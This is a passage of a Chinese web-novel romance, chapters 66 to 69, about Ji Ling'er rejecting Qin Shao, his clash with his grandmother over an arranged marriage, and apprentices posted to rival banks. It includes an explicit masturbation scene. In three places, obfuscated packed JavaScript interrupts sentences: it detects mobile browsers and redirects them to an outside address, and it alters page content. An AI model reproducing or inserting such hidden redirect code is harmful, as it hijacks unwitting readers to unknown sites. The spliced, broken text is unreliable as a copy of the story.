“我住客栈，明日顺路接你。” “不用，我可以自己雇马车去。” 夜色自半开的帘子钻进来，映亮她眼底躲闪，长睫不安地眨动，勾得他心跟着颤，怕她越退越远，再抓不住， 秦劭哑了声：“方才之事......抱歉，不该强迫你，你若还生气再打一次也无妨。” 季灵儿瞧不清，但能辨出他声音里的涩意，鼻尖发酸，她轻轻吸了吸，道：“要下来喝杯茶吗？” 秦劭弯唇勾起一抹浅笑，似苦涩，又似想反过来哄她安心。 “不了，我怕进去不舍得离开。” “哦。”季灵儿不敢再多留，探身往外去。 “灵儿，”他在黑暗中唤她，柔声问：“明日，同我一起吗？” 66. 决绝 一直到躺到榻上，季灵儿仍觉唇上发烫，止不住地回味方才那个吻。 秦劭的吻一向温柔，从未有过今日这般霸道狠重，像是伪装的猛兽露出獠牙，欲将她拆吃入腹。 她清楚他在生气，因为她存心气他，要他不痛快，报复他先前的隐瞒。 然而当他的唇贴上来时，她才明白自己有多贪恋那温度，报复的快意不过一瞬，心尖的颤动久久不散，又酸又软，教人难以喘息。 揭开猛兽伪装带来的不是恐慌，而是得意，还有隐秘的欢愉，如同他每一次埋头在她身下亲吻，身体虽由他掌控在情潮中沉浮，可真正令她攀上浪潮最顶端的，是他甘愿为她俯首的姿态。 受惯了冷眼，实在难以拒绝这般诱惑。 况且那人是秦劭，以铁面冷腕名满河东府的商行大当家，所有旁人看不到的一面，在她面前展露无遗，季灵儿的虚荣心被填得满满当当，分不清，自己究竟是喜欢他多一些，还是更沉迷这份独占的快意。 偶尔一丝羞耻浮上来，提醒她是后者。她就是心思龌龊，卑劣又无耻。 猛地收回抚在唇上的手，狠狠在胳膊上掐一把，将自己责骂一顿，决心与他划清界限，不能再任由贪念滋长。 ... 次日一早，秦劭的马车停在巷子口，来往不少人驻足探看，其中自然少不了爱凑热闹的张婶。 马车华盖青帷，四角悬铃，一看就是富贵人家的制式，张婶清楚这条巷子里所有人家的底细，没听说谁家有富贵亲戚。 唯一的可能便是新搬来的季灵儿。 瞧见她出来，眯眼笑着招呼：“出门呀？” 季灵儿：“是，还是劳烦您帮我照看几日。” 每日雇马车往返吉安与曹县耗银不少，她打算暂住叠翠园，昨日回来完全是意外。 张婶目光在她脸上打了个转，又朝巷口瞥去，笑得意味深长：“外头那马车是接你的？” 季灵儿点头，不自然地解释：“朋友，正好顺路。” 说话间陈家父子一前一后出来，准备去上工，张婶转头叮嘱他们，季灵儿道了别向马车去。 “灵儿姑娘。” 陈胜松叫住她，快走两步追到跟前，递上手里的包裹：“我娘蒸的枣糕，让你带一份路上吃。” 季灵儿接过，包裹透出的热气渗入掌心，隐约已能闻见红枣的甜香，弯唇向他道谢。 陈胜松挠挠头：“娘让我问问，你这次去几天？” “尚不确定，有事吗？” 陈胜松亦不知自家老娘让他跑过来问这些做什么，还让把他晌里垫饥的干粮给她。 面对疑问含糊道：“没事，你一切当心。” 马车中，秦劭挑起窗帘一角，淡淡扫了眼车外说话的男子。 季灵儿捧着枣糕钻进来，他已端坐如常，眉眼含笑看她。 “和新邻居处得不错。”他声音平静，听不出情绪。 “是啊，张婶热心，照顾我不少。” 秦劭递过一个檀木食盒，“来时买的早点，你尝尝是否合口。” 想到昨夜对自己的告诫，季灵儿硬生生压下接过的冲动，低头去解陈胜松给的包裹：“您用吧，我吃这个足够。” “灵儿。”秦劭眸色忽暗，嗓音沉了几分。 季灵儿只作未闻，咬一大口枣糕，故意嚼得香甜。 秦劭看着她一口一口吃，心里闷得发慌。 待她咽下最后一口，打开水壶塞子给她递过去，沉吟着开口：“咱们谈谈？” 季灵儿的确吃急了有些噎，但还是忍着没接，兀自平复，不冷不热道：“您说。” 僵在半空的胳膊终是收回去。 “先前行事惹你不痛快，确是我欠考虑，你生气，闹脾气，我都认，但我待你之心从未掺假。”他声音低缓，目光紧锁着她，“夫妻间难免有磕绊，多磨合几次自然顺了，没有动一次气就闹和离的道理。我们把话说开，我保证日后事事以诚相待，能否得一次改过的机会？” 字字真切诚恳，季灵儿心头软得一塌糊涂，但她忍下了，用最冷漠的语气回道：“感情本就不是讲道理的，您不必费心思同我讲道理，我已经不气了，但也不愿意再回您身边做什么秦家少夫人。” 她不生气，却不愿回到他身边，秦劭攒紧的眉心写满不解：“你心里分明是有我的。” “那是我无知，顶着宋芮宁的身份理不清情感，错把对您的依赖当成心动，如今脱了那层皮，看清了，就不能再自欺。”季灵迎上他的目光，一字一句道：“现在和以后，我对您都只会有对先生的敬重，再无其他，您也不必再执着于挽回什么。” 他眼中光亮一点一点黯下去，如同燃烧彻夜的烛火，只剩一豆将熄的残焰，猩红又苍凉。 季灵儿狠心决断，索性一口气将话说绝，不给自己留退路。 “以您的身份，该娶一位门当户对的女子，于您于秦家，甚至于商行皆有益处，这道理您比我清楚，所以，别再在我身上耗费精力了，不值得。” 秦劭冷笑：“感情不讲道理，便能拿利益衡量了？” “感情不能，但亲事可以，你们大户人家不最讲究门当户对，利益置换吗？” 她说得太过冷静，饶是秦劭善于识人断相，也辨不清是气话还是真心。 “你认真的？” 季灵儿点头。 她捱过饥寒，深知情爱是最无用的东西，换作她易地而处，同样会选择一个能为家族带来助力的联姻对象，而非纠缠无谓情爱。 她不允许自己因无耻的私心耽误他。 心意已决，再看向他时目光清澈而决绝，“先生，您和我各有使命背负，各有自己的路要走，我本就是为了钱财才误打误撞嫁给您，不纯粹的开始注定得不到善终，眼下各归其位是最好的结局，别再强求其他了。” 这些说给他的话，亦是说给自己听。 话音落，感觉眼眶湿润润的，匆忙别过脸，泪水无声滚落，未让他瞧见。 ... 转眼快至端阳。 节后弟子们要入商行名下铺子实践历练，检验所学，正巧凑节日时放两日假，让大伙回家休整准备。 初四日晌午，姚怀义代替宣布分派之事，言秦劭有要事脱不开身。 姚怀义不端架子，闲暇时和弟子们说笑打趣也是常有，因此众人在他面前并不如在秦劭跟前拘谨，当堂提出困惑：“先前师父已说明分组和去向都由抓阄决定，为何忽然改为直接公布名单？” “抓阄固然公平，不过商道重在务实，考虑日后你们要回归本家家业，能力对位更妥当，故而改为安排你们去与家中产业相契合的铺面，提前熟悉熟悉。” 姚怀义一本正经解释完，弟子们也觉此法更合情理，纷纷点头。 怎料他话锋一转，笑道：“当然了，这只是其中一个原因，真正的原因是你们师父好事将近，人逢喜事精神爽，安排上便多了人情味。” “喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623443|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事？”数十双目光惊疑看向他。 “你们要有新师娘咯。”姚怀义拖腔拿调说着，视线落在季灵儿脸上。 她和众人一样怔住，很快垂下眼帘，不给姚怀义审量的机会。 身旁有人追问：“新师娘，那原来的师娘呢？” “跑了。”姚怀义说完不给众人往深探究的机会，转而公布各人去向。 为起到历练效果，分派的铺面分散至河东府各县，且都是商行名下经营一般，积弊待整的铺子。 季灵儿如愿分到曹县秦家名下的广兴票号，隐隐觉得是秦劭有意帮她，嘴角刚翘起一抹弧度，又听闻梁宸也是此处，瞬时凝住。 同梁宸一组，岂非所有行动都暴露在梁守正眼皮底下？ 她想不明白秦劭如此安排的用意，难不成那日她绝情的话把人伤得狠了，近段时间面上装洒脱和她保持纯粹师徒关系，实际暗暗记仇，借机给她添堵？ 转念又想，记仇报复是她一贯作风，他应当不至于。 姚怀义合上手中名册，道：“分派已定，不得更换，有异议者可去找你们师父询问。” 秦劭思量周全，弟子们没有不满意的。 许是她凝重的神情太明显，姚怀义特意点名问：“季凌有难处？” “没有。”季灵儿勉强弯出笑容。 话都说绝了，二人好不容易回到最初时的状态，她不想私下去他面前争辩什么，也不合适再私下找他，见招拆招罢。 “那便好，”姚怀义点点头，对众人道：“你们往后要有一大段日子不能聚在一处，今儿中午我做东，请大家吃饭听曲，如何？” 众人哄然叫好。 姚怀义：“丰乐楼，你们只管尽兴，花销记在我账上。” 林起问：“您不同去吗？” 姚怀义摆手笑道：“不了，家中管得严。” 他惧内的传闻早有流传，此刻一句自嘲，逗得众人前仰后合。 说笑过后，有弟子不安地问道：“那......师父知晓吗？” 姚怀义意会：“放心，他知不知晓都不会说什么，更不会去搅扰你们，另外我做主多准你们半日假，痛痛快快耍一场！” 丰乐楼。 有过一次聚会偶逢师父的经历，弟子们格外谨慎，每每出来聚总要先探看隔壁，这次也不例外。 楼里丝竹管弦不绝，舞女裙裾翻飞，舞过一曲又一曲，酒酣兴尽，季灵儿正托腮发呆，忽闻一声惊呼。 “快看，那是不是师父！” 她睁着迷蒙的眼循师兄所指望向楼下，果见一道熟悉的身影往外走。 秦劭本就是难得的俊朗人物，举手投足自有一番卓绝气度，如雪松孤立寒山，十分惹眼。 虽只是背影，熟悉之人皆能一眼认出，唯一令弟子们犹疑的，是他身旁跟着一位水蓝衣裙，身形窈窕的女子，二人并肩，女子偶尔侧脸看他，脸上挂着浅笑。 “莫不是姚师父口中说的新师娘？” “小师弟可识得？” 季灵儿约莫认出是在云家有过一面之缘的柳氏，但她摇了头。 “你不是师父义子吗？这样的大事都不知晓？” 熟悉的场面，恍惚回到年后那次相聚，同样把酒言欢，同样好奇地打听师娘，师兄们脸上的神情与当初何其相似，独独她的心境大不相同。 原来时过境迁，是这般体验。 季灵儿涩然一笑，淡淡道：“他的私事，我无从过问。” 67. 自渎 河东府商行。 姚怀义大腿翘在二腿上，抱琵琶似的抱着一个算盘胡乱拨弄，噼里啪啦吵人耳朵，见秦劭进来，迫不及待问：“有何收获？” 他占了自己椅子，秦劭在旁边坐了，唤人添茶后平静开口：“柳姑娘的确有经商头脑，所提之策切中要害，可以一试......” 姚怀义没兴趣听他讲生意上的铺排，无聊拨着算盘珠子，只动作比方才轻了些，待他讲完都没听到要紧的，不满地追问：“没了？” 秦劭茫然看他：“应该有什么？” “没见着弟妹？”自姚怀义知道季灵儿真实身份后，一直以弟妹相称。 “她去丰乐楼了？” 姚怀义便同他讲了请客一事。 秦劭愈发无奈，斜眼瞪他：“合着你诓我去和柳姑娘谈生意，是为了造我的谣言？” 姚怀义不以为然，“算不得造谣吧，你家老夫人拿不孝的罪名压你，你能扛得住，妥协同柳家议亲是早晚的，上次答应娶宋家姑娘不就这样。” 秦劭揉了揉太阳穴，沉声道：“不一样。” 姚怀义嗅到不同寻常的气息，凑近问：“怎么说？” 秦劭不答。 姚怀义哼了哼，腹诽他没义气，开始在一旁说风凉话：“要我说娶了便娶了，得佳人又得助益，百利无一害的事，何乐不为呢。” “你站着说话不腰疼。” 秦劭不与他争辩，倒是忽然羡慕他有个管束极严的妻子，拈酸吃醋正说明情意深重，不会分明心中在意偏强把人往外推。 姚怀义还在纠结丰乐楼里之事，不忿道：“我特意给他们定了能看见门口的包厢，不能是没一个瞧见你的吧？” 秦劭苦笑：“瞧见她也不会来见我的。” 她如今躲着他，除却功课上的交流，其余时间能避则避。 姚怀义满是同情地拍了拍他的肩，“她不来见你，你不会去寻她？没点死皮赖脸的工夫哪能娶到心上人，这方面我有经验，你——” 秦劭打断他：“你再多话我便把你诓骗嫂夫人的事全抖出去。” 姚怀义立马噤声，心说不听过来人劝，且有后悔的时候。 ... 自与老夫人在柳家议亲一事上起了争执，秦劭半个多月来一直宿在德馨园，不曾踏足秦府。方淑凤遣人关怀过两次，想劝他回去向老夫人认错服软，秦劭只让人带话回去劝她宽心，莫为此劳神。 因白日里姚怀义一番话，知晓季灵儿在丰乐楼，极有可能见了他同柳姑娘同出同入，偏没寻他，心头烦闷更甚，独自临窗，望着天边一弯狭细的孤月出神。 从前觉得父亲荒唐，为了一女子客死他乡，如今他虽有把握不负家族重任，但搁旁人眼里，他的执拗悖逆，无异于走父亲老路。 闹出这一遭，不孝的罪名他是背定了，且即便背负不孝，也不见得能换来小姑娘的回心转意。 夜风渐凉，秦劭神思回拢，合上窗扇去柜中取干净中衣沐浴替换，翻找时，指腹下触到一片极柔软的丝绸，他垂眸，一件妃色小衣闯入视线，想是季灵儿先前换下，丫鬟洗干净收进柜中的。 鬼使神差地伸手，丝帛冰凉柔滑，却在指尖落下指尖触及的瞬间，燃起无形的焰。 视线挪不开，指尖也陷进去，无端顺着缎面上石榴花的纹路摩挲起来。 越摩挲，温度越灼人。 指尖不由自主地收拢，柔软的布料紧紧握在掌心。 脑海一瞬间全被她的模样占据。 含笑的眼波，微嗔时蹙起的娥眉，委屈时皱起的鼻尖，还有沉沦欢愉时醉人的娇态，她似乎意识不到，床笫间的嗔怒盛过催请药，总爱拿一双含嗔带媚的眼瞧他，那点子倔强与羞怯缠在一处，频频惹他失控。 从前他竟觉得娶妻过日子，只要能举案齐眉，对方是何人无甚分别。 怎么会没分别呢，这些年他虽守礼不近女色，应酬场合也见过不少风月，可从未有人似她，一颦一笑皆入心魄，是嗔是喜都鲜活可爱。 她在他眼中从来都是独特的，不是么？ 或许他应该想想，究竟是何时开始对她动心思的。 思念千回百转，引着想吻她的欲.望攀升到顶端，深深吻在刺绣的石榴花上。 然后，如吻她一般，吻痕落满小衣每一寸。 眼前重现她穿着这件小衣的模样，薄绸堪堪遮住如脂如玉的玲珑，在他吻得深入时会仰起颈项，发出小猫一般的呜咽，他曾抽空抬眸瞧过，春色正浓时，红霞遍染，河流湍急，引得山川上的雪团阵阵发颤。 心动蚀骨难忍。 秦劭喉结剧烈地滚动了一下，干渴得发疼，强行压抑数日的思念，借着这方寸柔软的织物，轰然决堤。 不知不觉间，他已躺在她曾躺过位置上，甚至能感受到她留下的气息。 可她已经许久不曾来过，还决绝同他说没有以后。 怎能没有以后..... 他五脏六腑越收越紧，疼得几欲窒息。 秦劭放纵地闭了眼，猛地将小衣按在脸上。 又起风了。 夜风裹在粗壮枝干四周，起初生涩，迟疑地，试探地拂动几下，渐渐强劲起来，带起声声低沉的呼啸，惊破寂静。 风吹得最急时，狂乱到带着近乎摧毁的力道，恨不能将树连根拔起。 风久久不息，誓要替他将蚀骨的思念与等待，连同汹涌的渴求一并送出去。 朔风几度吹，白浪高于阁。 终于平息，从呼啸变为低吟。 秦劭颓然仰于榻上，脑袋短暂空白后，身心被疲惫与更深一层的空洞占据，胸膛剧烈起伏。 衣上的石榴花染了白，点点滴滴，在朱红中格外刺目，丝绸被搓磨地皱皱巴巴，形似诉诸委屈的人儿。 他看着，沉黯墨眸翻涌着浓得化不开的眷恋与自我厌弃。 ... 次日端阳，晨安时老夫人还惦记秦劭会不会回府用膳，故作无意向方淑凤问起他近况。 方淑凤说不知。 婆媳俩相对叹息，老夫人想责方淑凤，见她面色灰败，眼角细纹里嵌着掩不住的倦意，到底将责备咽了回去。这媳妇心思重，为秦劭之事忧心日久，没得再为几句责问压垮了身子。 秦劭未回来用午膳，倒是在半晌回了府，来给老夫人请安。 老夫人面色不豫，故作虚弱咳了几嗓子，缓缓开口：“我当你真不顾我这老婆子死活了，既回来，趁早把婚期定下，我身子一日不如一日，早些看你成家，也能安心去见秦家列祖列宗。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630658|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >老夫人前次逼秦劭应下亲事，便是捏着一个“孝”自相胁，眼下颇为熟练地故技重施。 秦劭身姿笔挺立于堂上，漆眸冷然，示意遣退左右，独留吴嬷嬷在堂伺候。 老夫人神色滞了滞，未做反对。 秦劭正色道：“孙儿心意已决，祖母若觉得孙儿不孝，不配当家，孙儿便辞了家主之位，祖母再从几位叔叔兄弟当中择一位担此任。” 出乎意料的一答，堪称逼迫，老夫人手一抖，险些以为自己听错，不可置信盯着他良久才醒过神，颤声质问：“你当这家主之位是儿戏？” 秦劭躬身一礼，姿态恭敬，言辞却寸步不让：“孙儿从不敢拿家主之位当儿戏，对娶妻之事亦然，故而退一步求个两全。” 家中其他几房这些年养得闲散，非一时半会儿能调教好，撑得起门庭的。 此节祖孙二人皆心知肚明。 老夫人脸色数变，冷笑道：“莫要以退为进威胁我，我不止你这一个孙儿！你娘可就你一个儿子，你是她唯一的指望，若她知晓你任性至此，如何承受得住？” 老夫人见自己分量不足撼动他的执拗，便拉方淑凤出来压阵，他不孝祖母总不能连亲娘也不顾罢！ 秦劭依旧不为所动，决然道：“只要祖母裁断，孙儿会去向母亲请罪。” 老夫人先是一愣，回味过来他言外之意怒极反笑：“好啊，好一个让我裁断！你自己不孝，倒要我来做这个恶人？” “祖母是家中主心骨，一言可定乾坤，辞与不辞，母亲气与不气，咱家和与不和，都要由祖母成全。” 端着一派冷静，说话绵里藏针，兜一圈竟反将她一军，将她置于进退维谷之地。 老夫人可算见识了孙儿的谈判手段，气得胸口起伏半晌缓不过气。 成败关头，秦劭纵然心中不忍不能退半步，好在有吴嬷嬷在旁照应，提老夫人抚背顺气，好言劝和。 秦劭给老夫人戴高帽，但老夫人自个儿清楚，秦家要靠他支撑门庭，拗不过，只好顺着吴嬷嬷递来的台阶下了，挥挥衣袖道：“随你去罢，往后你的事我老婆子全不管了，只当没你这孙子。” 秦劭垂眸拱手，“多谢祖母成全，孙儿必不会让您失望。” 老夫人哪里还有好脸色给他，冷哼一声别过脸。 秦劭退出房门，转去寻方淑凤，略说几句体己话，道明来意：“母亲这些时日多陪祖母说说话，解解闷，莫要让她老人家因郁结生出病痛。” 方淑凤瞬间明白其中因果，“你顶撞老夫人了？” 秦劭默然不语。 “儿啊，你从前不会这般忤逆的，如今是怎么了？”方氏亦为她娶妻之事愁闷，语未竟，眼中已泛泪光。 “母亲，婚姻大事关乎一生，儿若为联姻娶一个门当户对的，日后不中意尚可再纳新人，于对方是终身之托，无论儿子违背心意娶谁，不能一心对待，便是祸害人家终身。” 方氏便是因联姻困在秦府一生，丈夫不爱，不忠，把所有希望托在儿子身上，孤苦熬到今日，她懂这枷锁有多重。 秦劭一番话虽未明言，却实实在在勾起她心中悲悯，泪愈发止不住，劝解的话终是再难出口。她抬手拭泪，良久方道：“你既已决意，娘只盼你能守住本心，莫忘了今日说过的话。” 68. 上门 季灵儿在自家院中便闻得一阵糯米清香，循香来到隔壁厨房，灶上蒸笼白气升腾飘香，张婶在一旁包粽子。 几片芦苇叶交叠，错开折成斗状，裹进泡好水的雪白糯米与赤豆，指尖灵巧一收，便拢成尖角粽形，最后用细麻绳扎得紧凑，手法娴熟，片刻间一只玲珑粽子便已成形。 见她来，张婶在围布上擦了擦手，笑着招呼她：“正好，火上蒸的粽子说话就好，留着尝一个。” 盛情难却，季灵儿笑着应下。 待蒸笼掀开，张婶利落地拣出一只递来丢进陶碗递给她。 尝过一个，季灵儿满嘴称赞，随后挽起袖子，另搬来一个小凳坐下，学着张婶的样子将芦苇叶折成斗状，裹米，压紧，缠绳。 张婶乐呵呵看她：“往年都是我一个人忙活，今年你陪着说话，才真觉得是过节呢。” 季灵儿：“咱们做了邻居，往后婶子不怕没做伴的。” 张婶连声说好，“有你做伴好，像你这般灵巧又懂事的姑娘，谁家得了去都是福气，不像我那傻儿子，唉......” 季灵儿只作听不懂她暗示，道：“我好不好这辈子是便宜我家那男人了，陈大哥是不善言辞，做事上没有不周到的，好福气在后头呢，指不定哪日说成一桩顶好的姻缘，婶子别老念叨他傻了。” 张婶又试探：“大过节的，你家男人过节也不回来吗？” “忙，回不来。” 张婶玩笑：“我倒想看看是什么样心大的人，敢放心将这般好的媳妇独自留在家中。” 季灵儿已习惯了同她玩笑，顺口回道：“赶明他回来，您说说他。” 说着将一只包好的粽子轻轻放进竹篮，指腹上沾了一粒糯米，又白又黏...... 季灵儿盘算，只有表现自然，才能让张婶相信她真有一个在外做工的男人，渐渐打消撮合的念头。 随口说“我家那男人”时没作他想，倒是被一粒米黏住神思，陷入淫靡的遐想里。 张婶一直观察她，将粉颊上一瞬的恍惚和泛起的潮红尽收眼底，打趣道：“怎么说着说着害羞起来了，想你家男人了？” 季灵儿笑笑没说话，羞臊地弹走米粒。 近晌午时季全也托人给她送来了粽子和鸭蛋，加上张婶给的，足够季灵儿吃好几日。 来人还带了消息给她，言暗中散布汇通票号出现假汇票的消息一事进行顺利。 季灵儿心情大好，乐呵呵地过了节，用过晚膳盘腿伏在案前抓小银锭子玩，一颗颗抛起又接住，叮当声里透着欢喜。 天擦黑时响起一阵敲门声，轻缓的三下，张婶敲门惯常带着高声呼唤，季灵儿竖起耳朵又听，不疾不徐又三下，兴许是陈胜松。 收好银锭跳下椅子出去，门刚打开一道窄缝，呼吸不由滞住。 入眼是扣得一丝不苟的玉腰带，墨色锦袍上的暗纹勾着冷光，齐整不见褶皱，不加思考便知来人是谁。 扶着门框的手指收紧，压制失措凌乱的心跳，缓缓抬眼，迎上深邃眸。 “你怎么来了？” “送节礼。”秦劭声线平稳，扬了扬手中锦盒，目光不着痕迹地掠过她脸庞，见她眼底疑虑未消，淡淡补上一句：“弟子们人人有份，我恰好在曹县办事，就自己过来给你。” 季灵儿蹙眉：“您可不止我这一个弟子在曹县。” “都已送过，你是最后一个。” 他面不改色答得从容，但并不能打破季灵儿心中疑虑，她吃一堑长一智，不会再轻信被他正经的表象蒙蔽。 菱唇微启，道了声不咸不淡的“多谢”，伸手接过颇有分量的锦盒，身子依旧稳稳挡在门前，并无请人进门的意思。 静默在两人之间流转片刻，秦劭主动开口：“可以进去讨杯茶喝么？” 此言一出，瞬间勾起前次他送她归来时，那句低沉暧昧的“怕进去不舍得离开”。 季灵儿眼波微动，审视着他：“喝完便走？” “嗯。”秦劭颔首。 她这才侧身让路，擦肩而入时，鼻尖掠过熟悉的清冽气息，她下意识抿了唇，反手将门掩上。 屋内烛光昏黄，无形的局促悄然涌动。 季灵儿不甚乐意地指了指唯一一把像样的梨木椅让座，转身倒一杯白水，直接搁到他跟前，她动作不算轻，杯子磕在木桌上发出一声脆响，水波微漾。 “寒舍简陋，唯有白水润喉，您且将就吧。” “不将就。”秦劭笑了下，执起茶杯，水是温的，喝急些一口便可见底，他轻啜一口搁下，目光落在她微微错开的脸颊上，温声道：“还有件礼物给你。” 说着从袖中拿出一根编织精巧的五色绳，上面坠着一枚指甲盖大小的金元宝。 季灵儿打量一眼，狐疑看向他：“这也是每人都有的？” 秦劭：“我答应过季掌柜照顾你，这份是替她送的。” 竟冠冕堂皇打她师父的旗帜，季灵儿斜眸睨他，挑起的眼尾无声诉说怀疑。 秦劭接收到她的目光，并未露怯，一本正经补充：“来之前我专门去她坟上拜过，她同意你收下。” “......”季灵儿嗔他一眼，冷笑道：“您哄三岁小孩儿呢。” “嗯，”秦劭顺着话低声应了，偷偷抿唇勾起一抹浅笑，“哄小孩。” 不待她发作，迅速压下弧度，指尖捏着绳结一端朝她示意，“伸手。” 拒绝的话还在舌尖打转，胳膊如生出意识般，乖乖伸了过去。 秦劭将她袖子往上捋了捋，露出一截莹润皓腕，纤细不堪握，打起人来却极有力量。 未停顿太久，将五色绳顺着腕骨轻轻缠绕，动作细致缓慢，指节还是一次次擦过她细腻的肌肤。 轻若羽拂的触碰，带起一阵又一阵细密难耐的痒意，顺着血脉直往心尖上钻，惹得她浑身不自在起来，怀疑他刻意撩拨，奈何他神色坦然，抓不到把柄。 羞恼地将气愤转在别处：“干嘛系成死结？” “防丢。”秦劭言简意赅，利落系妥后重新掀眼看她：“取把剪刀来，我将余线剪了。” 一切妥当，秦劭未立刻松手，隔着轻薄衣服握她的小臂，略举起，映着光端详鲜亮彩绳与小元宝，确认无误后松开。 “喜欢吗？” 季灵儿转了转手腕，试图甩走他留下的余温，却见五色绳在腕间熠熠生辉，小元宝拨浪鼓似的摇头，蛮可爱的。心底确实漫上一丝隐秘的欢喜，可她偏要嘴硬，扭开脸，语气硬邦邦地：“一般。” 秦劭也不拆穿，低笑一声，视线垂在她腕间，不知是看绳还是看旁的。 空气再次陷入静谧。 季灵儿看不见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635233|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸中情绪，只觉有一股说不清道不明的暧昧灼在腕上，仓皇将手背到身后，“既是替我师父送的，便不谢您了。” 言外之意，别妄想用一根绳子让她承情。 紧盯的猎物藏匿了，秦劭悻悻敛回目光，恢复来时的平静，道：“我已叮嘱票号上下替你瞒下身份，你明日放心去。” 季灵儿以秦家少夫人身份在广兴票号露过面，为防泄露给梁宸，她原想提前一日去票号打点，不曾想他竟连这都考虑到了。 这下不领情不成，干巴巴道了句“多谢。” 小姑娘别扭起来的模样着实可爱，秦劭眸色温了又温，竭力忍下笑意，正色道：“梁宸也是我弟子，根底不坏，让他同你一组是我深思熟虑后的结果。” 季灵儿又是一愣，他简直是她心中蛔虫，不仅平了她没来得及做的事，还将想问没机会问的话挑明了。 解释归解释，她却不理解，小声嘟囔：“可他是梁守正的儿子，肯定会千方百计阻我行事。” “灵儿，你莫忘了，他不止是梁守正的儿子，也是季掌柜的儿子。”秦劭想同她说明白，又怕刺激她，语气缓下来，颇为温柔。 季灵儿咬着唇瓣不吱声。 梁宸的确是师父的儿子，正因这一点，她对他的心绪一直复杂难言。 “我相信他能拎得清。”秦劭语气坚定，一瞬不瞬凝着她，“更相信你的能力。” 她抬眸望他，眼底有刹那的怔忪，随即垂下睫毛掩去情绪，“知道了。” 几个呼吸的宁静后，秦劭扶了扶袖口，起身告辞。甚至不等季灵儿反应，人已出了堂屋门，步履从容，背影挺拔，来去一般坦荡，真真是一副只来送东西的派头，别无他念。 倒衬得她格外沉不住气，呆在原地许久才按捺住心头紊乱。 候在巷口的阿吉见自家爷两盏茶便出来十分诧异，正忧心，却见眉眼藏着笑意，陪笑探问：“爷，咱去何处？”回府。 秦劭：“客栈。” “诶！”阿吉利索应声，心中擂鼓庆幸，挽回少夫人之事有谱！ ... 次日清早，季灵儿换好男装出门去广兴票号，刚打开门，从门边蹿起来一个身影，吓得她踉跄后退两步，定睛一看竟是阿吉。 “大清早干嘛在这里吓人。” 阿吉缩了缩脖子，赔笑道：“少夫人莫恼，我是特意来等您的，听见开门声有些激动。” “等我作甚？” 阿吉奉上手中食盒：“爷昨日偶然吃到一家不错的糕点，念着您爱吃甜的，一早去买了命小的送来。” 季灵儿稳住心神，视线不自觉朝巷子深处扫去，没见旁人。 阿吉何等机灵，一下明白她在瞧什么，回道：“爷觉着您不太欢迎他，怕您再见心烦，故而只派了小的来。” 季灵儿哼了哼，心说他说的比唱的好听，她半个字都不信。 “我不收他的东西。” 阿吉早有预料，不慌不忙道：“爷说了，此乃先生给弟子的关怀，您上工第一天，带去跟梁公子一同分享，您若实在觉着吃着心里堵，全给了梁公子也无妨。” “......”季灵儿能料想不接下他便会一直喋喋不休，伸手扯过，没好气道：“这次我收了，以后甭送了，你家爷说得没错，我见他就心烦，现在补一条，见你也烦。” 69. 时机 广兴与汇通两家票号分位曹县东西，是规模最盛的两家。 汇通由季璇祖父年轻时创办，早些年务本求实，信誉卓绝，为河东府商铺提供诸多资金融通之便，季父接管后秉承家训，兢兢业业干事，在原有根基上稳步拓展，增设三处分号，汇通票号的声名由此更盛。 可正因两代掌权人一门心思铺在业务经营上，家业兴，天不假嗣，到第三代，唯有季璇一个女儿，季璇自幼随父习算盘，阅账册，十五岁已能独理家业，手腕胆识不让须眉，考虑后继无人，二十七岁择了夫婿入赘，便是梁守正。 梁守正入府后，汇通票号遭过一次大劫，险些被官府查封，是季璇卖祖宅，当体己，上下打点，又连本带利清偿票号内的存银，挽救威势，此后没多久，季璇因病离世，梁守正以婿承业，掌了汇通大权。 他接手后经营颇为激进，放贷收息无所不用其极，生意远超其他票号，连广兴亦望尘莫及。 广兴票号乃秦家产业，主事者秉持“流水不争先”之理，稳健持重原是藏富于民的好事，因太过务实，近些年被汇通打压地日渐衰微。 季灵儿花半日跟掌柜了解过票号基本情况，了然其过于重旧制，讲究人脉信契，守成有余而开拓不足。 当即在心中算了一笔账，提议降低票号汇率吸纳储户。 “只要维持在一定范围内降低汇率，吸纳新储户进来，收益仍可稳中有升。”说罢故意问梁宸：“梁师兄意下如何呢？” 梁宸听出她言外意，没好气道：“昨日师父特意到家中叮嘱，说同行竞争无可厚非，此番只为磨练本事，我拎的清楚，你不必拿话试探我。” 实则秦劭说的不止这些，软话硬话杂糅，总之是敲打他，此番安排除能力考核外，更要考验他能否顾全大局，是否有自己独立考量而非受家中掣肘。 